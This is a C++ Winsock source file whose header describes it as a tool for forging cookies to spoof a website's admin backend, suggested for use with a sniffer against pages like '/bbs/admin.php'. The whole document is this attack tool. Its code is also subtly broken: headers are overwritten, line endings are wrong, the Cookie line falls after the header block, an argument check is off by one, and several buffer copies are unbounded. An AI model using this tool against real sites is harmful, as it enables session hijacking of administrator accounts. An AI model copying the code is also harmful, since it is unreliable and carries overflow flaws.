原代码：http://wmjie.51.net/swords/nettools/sendcookie.cpp

/**************************************************************
* File: sendcookie.cpp
* 描述：send cookie to remote host
* 　　　伪造cookie进行后台的cookie欺骗
* 　　　可以结合sniffer使用。。。
* 作者：SworDs
* 日期：2005-1-19
* mailto:swords@eviloctal.com
* url: http://wmjie.51.net/swords
***************************************************************/
//-------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")

int checkpra(int argc,char *argv[]);
void usage();

char ip[20]={0};
USHORT port=0;
char page[128]={0};
char cookie[1024]={0};
SOCKET sock;
struct sockaddr_in sin;
char sendbuf[1024*4]={0};

int main(int argc,char *argv[])
{
    if(checkpra(argc,argv)==-1) return -1;

    WSADATA wsa;
    if(WSAStartup(0x0202,&wsa)!=0)
    {
        printf("WSAStartup failed with error:%d\n",GetLastError());
        return -1;
    }

    sin.sin_family=AF_INET;
    if(inet_addr(ip)!=INADDR_NONE)
        sin.sin_addr.s_addr=inet_addr(ip);
    else
    {
        struct hostent *phost=gethostbyname(ip);
        if(phost==NULL)
        {
              printf("Resolve %s error!\n",ip);
              return -1;
        }
        memcpy(&sin.sin_addr,phost->h_addr_list[0],phost->h_length);
    }
    sin.sin_port=htons(port);
   
    char tempbuf[1024]={0};
    sprintf(tempbuf,"GET %s HTTP/1.1\n",page);
    strcat(sendbuf,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\n");
    strcat(sendbuf,"Content-Type: application/x-www-form-urlencoded\n");
    strcpy(sendbuf,tempbuf);
    memset(tempbuf,0,sizeof(tempbuf));
    sprintf(tempbuf,"HOST: %s\n",ip);
    strcat(sendbuf,tempbuf);
    strcat(sendbuf,"Connection: Keep-Alive\n\n");
    memset(tempbuf,0,sizeof(tempbuf));
    sprintf(tempbuf,"Cookie: %s\n",cookie);
    strcat(sendbuf,tempbuf);

    SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==INVALID_SOCKET)
    {
        printf("Socket() failed with error:%d\n",GetLastError());
        return -1;
    }
    int ret;
    printf("State:Connecting...\n");
    ret=connect(sock,(struct sockaddr*)&sin,sizeof(sin));
    if(ret==SOCKET_ERROR)
    {
        printf("Connect() failed with error:%d\n",GetLastError());
        return -1;
    }
    printf("State:Connected!\n");
    printf("State:Sending cookie...\n");
    ret=send(sock,sendbuf,strlen(sendbuf)+1,0);
    if(ret>0)
        printf("Send success!\n");
    else
        printf("Send error!\n");

    char recvbuf[1024*10]={0};
    ret=recv(sock,recvbuf,sizeof(recvbuf),0);
    if(strstr(recvbuf,"200"))
        printf("sendcookie success!\n\n");
  else
        printf("sendcookie false!\n\n");
    closesocket(sock);
    return 1;
}

void usage()
{
    char pathname[128]={0};
    GetModuleFileName(NULL,pathname,sizeof(pathname));
    char *p=pathname+strlen(pathname)-1;
    for(;*p!='\\';p--);
    printf("-------------------------------------------------------------------------------\n");
    printf("Usage:%s ip port page cookie\n",p+1);
    printf("Code by SworDs--http://wmjie.51.net/swords\n");
    printf("Ex:%s 10.10.0.49 80 /bbs/admin.php cookie\n",p+1);
    printf("-------------------------------------------------------------------------------\n");
}

int checkpra(int argc,char *argv[])
{
    if(argc<4){
        printf("参数输入不正确！");
        return -1;
    }
    strcpy(ip,argv[1]);
    port=atoi(argv[2]);
    strcpy(page,argv[3]);
    strcpy(cookie,argv[4]);
    int n=5;
    while(argv[n]){
        strcat(cookie,argv[n]);
        n++;
    }
    return 0;
}